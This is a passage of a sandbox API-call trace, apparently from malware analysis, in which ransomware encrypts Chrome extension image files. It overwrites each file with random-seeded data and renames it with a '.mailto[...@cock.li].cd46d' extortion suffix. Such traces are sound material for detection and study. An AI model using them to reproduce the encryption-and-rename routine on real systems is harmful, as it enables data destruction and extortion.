0x7c09612a [0177.049] RtlRandomEx (in: Seed=0x5b5fd7c | out: Seed=0x5b5fd7c) returned 0x5d89f231 [0177.049] RtlRandomEx (in: Seed=0x5b5fd7c | out: Seed=0x5b5fd7c) returned 0x2eb4c02d [0177.049] RtlRandomEx (in: Seed=0x5b5fd7c | out: Seed=0x5b5fd7c) returned 0x1209af96 [0177.049] RtlRandomEx (in: Seed=0x5b5fd7c | out: Seed=0x5b5fd7c) returned 0x2b01426b [0177.049] RtlRandomEx (in: Seed=0x5b5fd7c | out: Seed=0x5b5fd7c) returned 0x3a9e4be9 [0177.049] RtlRandomEx (in: Seed=0x5b5fd7c | out: Seed=0x5b5fd7c) returned 0xfeceb58 [0177.049] RtlRandomEx (in: Seed=0x5b5fd7c | out: Seed=0x5b5fd7c) returned 0x3528b02f [0177.049] RtlRandomEx (in: Seed=0x5b5fd7c | out: Seed=0x5b5fd7c) returned 0x26756bf1 [0177.049] RtlRandomEx (in: Seed=0x5b5fd7c | out: Seed=0x5b5fd7c) returned 0x4399a4f4 [0177.049] RtlRandomEx (in: Seed=0x5b5fd7c | out: Seed=0x5b5fd7c) returned 0x210e5467 [0177.049] RtlRandomEx (in: Seed=0x5b5fd7c | out: Seed=0x5b5fd7c) returned 0x4af734a8 [0177.049] RtlRandomEx (in: Seed=0x5b5fd7c | out: Seed=0x5b5fd7c) returned 0x455cd7cd [0177.049] RtlRandomEx (in: Seed=0x5b5fd7c | out: Seed=0x5b5fd7c) returned 0x6f319c2a [0177.049] RtlRandomEx (in: Seed=0x5b5fd7c | out: Seed=0x5b5fd7c) returned 0x5c9a578d [0177.049] RtlRandomEx (in: Seed=0x5b5fd7c | out: Seed=0x5b5fd7c) returned 0x30581774 [0177.049] RtlRandomEx (in: Seed=0x5b5fd7c | out: Seed=0x5b5fd7c) returned 0x1357a3a6 [0177.049] RtlRandomEx (in: Seed=0x5b5fd7c | out: Seed=0x5b5fd7c) returned 0x6d7ea7e9 [0177.049] RtlRandomEx (in: Seed=0x5b5fd7c | out: Seed=0x5b5fd7c) returned 0x3356d35a [0177.049] RtlRandomEx (in: Seed=0x5b5fd7c | out: Seed=0x5b5fd7c) returned 0x51e13ab7 [0177.049] RtlRandomEx (in: Seed=0x5b5fd7c | out: Seed=0x5b5fd7c) returned 0x4981241f [0177.049] RtlRandomEx (in: Seed=0x5b5fd7c | out: Seed=0x5b5fd7c) returned 0x2c9ca161 [0177.049] RtlRandomEx (in: Seed=0x5b5fd7c | out: Seed=0x5b5fd7c) returned 0x50d67211 [0177.050] RtlRandomEx (in: Seed=0x5b5fd7c | out: Seed=0x5b5fd7c) returned 0x7a45ae93 [0177.050] RtlRandomEx (in: Seed=0x5b5fd7c | out: Seed=0x5b5fd7c) returned 0x3f326692 [0177.050] RtlRandomEx (in: Seed=0x5b5fd7c | out: Seed=0x5b5fd7c) returned 0x34c1dde3 [0177.050] RtlRandomEx (in: Seed=0x5b5fd7c | out: Seed=0x5b5fd7c) returned 0x653c4162 [0177.050] RtlRandomEx (in: Seed=0x5b5fd7c | out: Seed=0x5b5fd7c) returned 0x18102a96 [0177.050] RtlRandomEx (in: Seed=0x5b5fd7c | out: Seed=0x5b5fd7c) returned 0x6aa91660 [0177.050] RtlRandomEx (in: Seed=0x5b5fd7c | out: Seed=0x5b5fd7c) returned 0x143af337 [0177.050] RtlRandomEx (in: Seed=0x5b5fd7c | out: Seed=0x5b5fd7c) returned 0x477efffe [0177.062] ReadFile (hFile=0x1264, lpBuffer=0x1335b078, nNumberOfBytesToRead=0xfc, lpNumberOfBytesRead=0x5b5fd6c, lpOverlapped=0x0) [0177.062] SetFilePointerEx (in: hFile=0x1264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.062] WriteFile (in: hFile=0x1264, lpBuffer=0x13367880*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x5b5fd68, lpOverlapped=0x0 | out: lpBuffer=0x13367880*, lpNumberOfBytesWritten=0x5b5fd68*=0xfc, lpOverlapped=0x0) returned 1 [0177.354] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945c58 [0177.355] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9458e8 [0177.355] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9458e8) returned 1 [0177.355] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13367880) returned 1 [0177.355] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1335b078) returned 1 [0177.355] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e93b8) returned 1 [0177.355] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2548) returned 1 [0177.355] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4d) returned 0x8e4630 [0177.355] SetFilePointerEx (in: hFile=0x1264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.355] WriteFile (in: hFile=0x1264, lpBuffer=0xd497b48*, nNumberOfBytesToWrite=0x131, lpNumberOfBytesWritten=0x5b5fdd0, lpOverlapped=0x0 | out: lpBuffer=0xd497b48*, lpNumberOfBytesWritten=0x5b5fdd0*=0x131, lpOverlapped=0x0) returned 1 [0178.878] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd497b48) returned 1 [0178.878] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4948) returned 1 [0178.878] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9458e8) returned 1 [0178.878] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4630) returned 1 [0178.878] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945c58) returned 1 [0178.878] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af488) returned 1 [0178.878] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af168) returned 1 [0178.878] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af1b8) returned 1 [0178.878] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x19c) returned 0x937c88 [0178.879] wcscpy (in: _Dest=0x937c88, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png" [0178.879] wcscat (in: _Dest=0x937c88, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png.mailto[2Hamlampampom@cock.li].cd46d" [0178.879] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x5b5fd88, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0178.879] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x1b2) returned 0x937e30 Thread: id = 6398 os_tid = 0xf34 [0171.865] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png")) returned 0x2020 [0174.377] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png", dwFileAttributes=0x20) returned 1 [0175.181] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13d8 [0175.181] GetFileSizeEx (in: hFile=0x13d8, lpFileSize=0x80bfab8 | out: lpFileSize=0x80bfab8*=160) returned 1 [0175.181] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9d00 [0175.181] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e400 [0175.181] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e450 [0175.181] NtQuerySystemTime (in: CurrentTime=0x80bfa18 | out: CurrentTime=0x80bfa18*=132174899497738000) returned 0x0 [0175.181] RtlRandomEx (in: Seed=0x80bfa24 | out: Seed=0x80bfa24) returned 0x41f4bc13 [0175.181] RtlRandomEx (in: Seed=0x80bfa24 | out: Seed=0x80bfa24) returned 0x30af9991 [0175.181] RtlRandomEx (in: Seed=0x80bfa24 | out: Seed=0x80bfa24) returned 0x4a897408 [0175.182] RtlRandomEx (in: Seed=0x80bfa24 | out: Seed=0x80bfa24) returned 0x79be0cae [0175.182] RtlRandomEx (in: Seed=0x80bfa24 | out: Seed=0x80bfa24) returned 0x74ea1169 [0175.182] RtlRandomEx (in: Seed=0x80bfa24 | out: Seed=0x80bfa24) returned 0x5429b152 [0175.182] RtlRandomEx (in: Seed=0x80bfa24 | out: Seed=0x80bfa24) returned 0x4d584983 [0175.182] RtlRandomEx (in: Seed=0x80bfa24 | out: Seed=0x80bfa24) returned 0x1f7b2313 [0175.182] RtlRandomEx (in: Seed=0x80bfa24 | out: Seed=0x80bfa24) returned 0x6a290885 [0175.182] RtlRandomEx (in: Seed=0x80bfa24 | out: Seed=0x80bfa24) returned 0x2b188c5b [0175.182] RtlRandomEx (in: Seed=0x80bfa24 | out: Seed=0x80bfa24) returned 0x4ffcb7ea [0175.182] RtlRandomEx (in: Seed=0x80bfa24 | out: Seed=0x80bfa24) returned 0x15404892 [0175.182] RtlRandomEx (in: Seed=0x80bfa24 | out: Seed=0x80bfa24) returned 0x6d0021f6 [0175.182] RtlRandomEx (in: Seed=0x80bfa24 | out: Seed=0x80bfa24) returned 0x41777da5 [0175.182] RtlRandomEx (in: Seed=0x80bfa24 | out: Seed=0x80bfa24) returned 0x3052492 [0175.182] RtlRandomEx (in: Seed=0x80bfa24 | out: Seed=0x80bfa24) returned 0x76b7fcf6 [0175.182] RtlRandomEx (in: Seed=0x80bfa24 | out: Seed=0x80bfa24) returned 0x2a301501 [0175.182] RtlRandomEx (in: Seed=0x80bfa24 | out: Seed=0x80bfa24) returned 0x7478a133 [0175.182] RtlRandomEx (in: Seed=0x80bfa24 | out: Seed=0x80bfa24) returned 0x2e5b3dec [0175.182] RtlRandomEx (in: Seed=0x80bfa24 | out: Seed=0x80bfa24) returned 0x63bd0e8b [0175.182] RtlRandomEx (in: Seed=0x80bfa24 | out: Seed=0x80bfa24) returned 0x73824110 [0175.182] RtlRandomEx (in: Seed=0x80bfa24 | out: Seed=0x80bfa24) returned 0xaeb48d5 [0175.182] RtlRandomEx (in: Seed=0x80bfa24 | out: Seed=0x80bfa24) returned 0x61de822a [0175.182] RtlRandomEx (in: Seed=0x80bfa24 | out: Seed=0x80bfa24) returned 0x550c57b3 [0175.182] RtlRandomEx (in: Seed=0x80bfa24 | out: Seed=0x80bfa24) returned 0x151ba58c [0175.182] RtlRandomEx (in: Seed=0x80bfa24 | out: Seed=0x80bfa24) returned 0x13a7338b [0175.182] RtlRandomEx (in: Seed=0x80bfa24 | out: Seed=0x80bfa24) returned 0x3c150d9b [0175.182] RtlRandomEx (in: Seed=0x80bfa24 | out: Seed=0x80bfa24) returned 0xfcad483 [0175.182] RtlRandomEx (in: Seed=0x80bfa24 | out: Seed=0x80bfa24) returned 0x1ad1386d [0175.182] RtlRandomEx (in: Seed=0x80bfa24 | out: Seed=0x80bfa24) returned 0x13fc2e69 [0175.182] RtlRandomEx (in: Seed=0x80bfa24 | out: Seed=0x80bfa24) returned 0x1247a520 [0175.182] RtlRandomEx (in: Seed=0x80bfa24 | out: Seed=0x80bfa24) returned 0x540e18ea [0175.193] ReadFile (hFile=0x13d8, lpBuffer=0x12c843d8, nNumberOfBytesToRead=0xa0, lpNumberOfBytesRead=0x80bfa14, lpOverlapped=0x0) [0175.194] SetFilePointerEx (in: hFile=0x13d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.194] WriteFile (in: hFile=0x13d8, lpBuffer=0x12c90be0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x80bfa10, lpOverlapped=0x0 | out: lpBuffer=0x12c90be0*, lpNumberOfBytesWritten=0x80bfa10*=0xa0, lpOverlapped=0x0) returned 1 [0176.210] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945938 [0176.210] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945be0 [0176.210] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945be0) returned 1 [0176.210] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c90be0) returned 1 [0176.210] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c843d8) returned 1 [0176.210] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8c38) returned 1 [0176.210] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2428) returned 1 [0176.210] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4d) returned 0x8e4630 [0176.210] SetFilePointerEx (in: hFile=0x13d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.211] WriteFile (in: hFile=0x13d8, lpBuffer=0xd4961a8*, nNumberOfBytesToWrite=0x131, lpNumberOfBytesWritten=0x80bfa78, lpOverlapped=0x0 | out: lpBuffer=0xd4961a8*, lpNumberOfBytesWritten=0x80bfa78*=0x131, lpOverlapped=0x0) returned 1 [0176.249] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4961a8) returned 1 [0176.249] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4948) returned 1 [0176.249] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945be0) returned 1 [0176.249] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4630) returned 1 [0176.249] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945938) returned 1 [0176.249] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e400) returned 1 [0176.249] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e0b8) returned 1 [0176.249] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93dd48) returned 1 [0176.249] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x19c) returned 0x8f6ea0 [0176.249] wcscpy (in: _Dest=0x8f6ea0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png" [0176.249] wcscat (in: _Dest=0x8f6ea0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png.mailto[2Hamlampampom@cock.li].cd46d" [0176.249] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x80bfa30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0176.249] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x1b2) returned 0x904560 Thread: id = 6399 os_tid = 0x1cb8 [0171.867] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png")) returned 0x2020 [0173.985] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png", dwFileAttributes=0x20) returned 1 [0177.355] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14f4 [0177.355] GetFileSizeEx (in: hFile=0x14f4, lpFileSize=0x8adfb48 | out: lpFileSize=0x8adfb48*=166) returned 1 [0177.355] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af2d0 [0177.356] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aefb0 [0177.356] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aed08 [0177.356] NtQuerySystemTime (in: CurrentTime=0x8adfaa8 | out: CurrentTime=0x8adfaa8*=132174899519578000) returned 0x0 [0177.356] RtlRandomEx (in: Seed=0x8adfab4 | out: Seed=0x8adfab4) returned 0x7e005689 [0177.356] RtlRandomEx (in: Seed=0x8adfab4 | out: Seed=0x8adfab4) returned 0x2b2b2979 [0177.356] RtlRandomEx (in: Seed=0x8adfab4 | out: Seed=0x8adfab4) returned 0x5fa5342c [0177.356] RtlRandomEx (in: Seed=0x8adfab4 | out: Seed=0x8adfab4) returned 0x358f6d7d [0177.356] RtlRandomEx (in: Seed=0x8adfab4 | out: Seed=0x8adfab4) returned 0x16e1a8b5 [0177.356] RtlRandomEx (in: Seed=0x8adfab4 | out: Seed=0x8adfab4) returned 0x224fdc71 [0177.356] RtlRandomEx (in: Seed=0x8adfab4 | out: Seed=0x8adfab4) returned 0x23e34ffa [0177.356] RtlRandomEx (in: Seed=0x8adfab4 | out: Seed=0x8adfab4) returned 0x57902702 [0177.356] RtlRandomEx (in: Seed=0x8adfab4 | out: Seed=0x8adfab4) returned 0x4c50e584 [0177.356] RtlRandomEx (in: Seed=0x8adfab4 | out: Seed=0x8adfab4) returned 0x66361451 [0177.356] RtlRandomEx (in: Seed=0x8adfab4 | out: Seed=0x8adfab4) returned 0x3dd16fed [0177.356] RtlRandomEx (in: Seed=0x8adfab4 | out: Seed=0x8adfab4) returned 0x128300c3 [0177.356] RtlRandomEx (in: Seed=0x8adfab4 | out: Seed=0x8adfab4) returned 0x673ad105 [0177.356] RtlRandomEx (in: Seed=0x8adfab4 | out: Seed=0x8adfab4) returned 0x5b95f026 [0177.356] RtlRandomEx (in: Seed=0x8adfab4 | out: Seed=0x8adfab4) returned 0x2d3a992b [0177.356] RtlRandomEx (in: Seed=0x8adfab4 | out: Seed=0x8adfab4) returned 0x448e5dba [0177.356] RtlRandomEx (in: Seed=0x8adfab4 | out: Seed=0x8adfab4) returned 0x247f46f7 [0177.356] RtlRandomEx (in: Seed=0x8adfab4 | out: Seed=0x8adfab4) returned 0xf751d0b [0177.356] RtlRandomEx (in: Seed=0x8adfab4 | out: Seed=0x8adfab4) returned 0x13dae5e3 [0177.356] RtlRandomEx (in: Seed=0x8adfab4 | out: Seed=0x8adfab4) returned 0xe56c452 [0177.356] RtlRandomEx (in: Seed=0x8adfab4 | out: Seed=0x8adfab4) returned 0x4bcefebc [0177.356] RtlRandomEx (in: Seed=0x8adfab4 | out: Seed=0x8adfab4) returned 0x5e77ab88 [0177.356] RtlRandomEx (in: Seed=0x8adfab4 | out: Seed=0x8adfab4) returned 0x6d89ba58 [0177.356] RtlRandomEx (in: Seed=0x8adfab4 | out: Seed=0x8adfab4) returned 0x14731ca6 [0177.356] RtlRandomEx (in: Seed=0x8adfab4 | out: Seed=0x8adfab4) returned 0x84c4097 [0177.356] RtlRandomEx (in: Seed=0x8adfab4 | out: Seed=0x8adfab4) returned 0x81c32d [0177.356] RtlRandomEx (in: Seed=0x8adfab4 | out: Seed=0x8adfab4) returned 0x211a195e [0177.356] RtlRandomEx (in: Seed=0x8adfab4 | out: Seed=0x8adfab4) returned 0x1ec919d [0177.357] RtlRandomEx (in: Seed=0x8adfab4 | out: Seed=0x8adfab4) returned 0x2b721681 [0177.357] RtlRandomEx (in: Seed=0x8adfab4 | out: Seed=0x8adfab4) returned 0x1412ddb8 [0177.357] RtlRandomEx (in: Seed=0x8adfab4 | out: Seed=0x8adfab4) returned 0x16ac68d1 [0177.357] RtlRandomEx (in: Seed=0x8adfab4 | out: Seed=0x8adfab4) returned 0xe74c977 [0177.368] ReadFile (hFile=0x14f4, lpBuffer=0x12ccf408, nNumberOfBytesToRead=0xa6, lpNumberOfBytesRead=0x8adfaa4, lpOverlapped=0x0) [0177.369] SetFilePointerEx (in: hFile=0x14f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.369] WriteFile (in: hFile=0x14f4, lpBuffer=0x12cdbc10*, nNumberOfBytesToWrite=0xa6, lpNumberOfBytesWritten=0x8adfaa0, lpOverlapped=0x0 | out: lpBuffer=0x12cdbc10*, lpNumberOfBytesWritten=0x8adfaa0*=0xa6, lpOverlapped=0x0) returned 1 [0178.449] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af0c8 [0178.450] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af0f0 [0178.450] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af0f0) returned 1 [0178.450] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cdbc10) returned 1 [0178.450] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12ccf408) returned 1 [0178.452] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e93b8) returned 1 [0178.452] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2548) returned 1 [0178.452] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x53) returned 0x12c6a060 [0178.452] SetFilePointerEx (in: hFile=0x14f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.452] WriteFile (in: hFile=0x14f4, lpBuffer=0x9a4d08*, nNumberOfBytesToWrite=0x137, lpNumberOfBytesWritten=0x8adfb08, lpOverlapped=0x0 | out: lpBuffer=0x9a4d08*, lpNumberOfBytesWritten=0x8adfb08*=0x137, lpOverlapped=0x0) returned 1 [0178.463] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a4d08) returned 1 [0178.463] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c6a0c0) returned 1 [0178.463] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af0f0) returned 1 [0178.463] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c6a060) returned 1 [0178.463] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af0c8) returned 1 [0178.463] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aefb0) returned 1 [0178.463] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aeec0) returned 1 [0178.463] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af438) returned 1 [0178.463] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x1a2) returned 0x8f69b0 [0178.463] wcscpy (in: _Dest=0x8f69b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png" [0178.463] wcscat (in: _Dest=0x8f69b0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 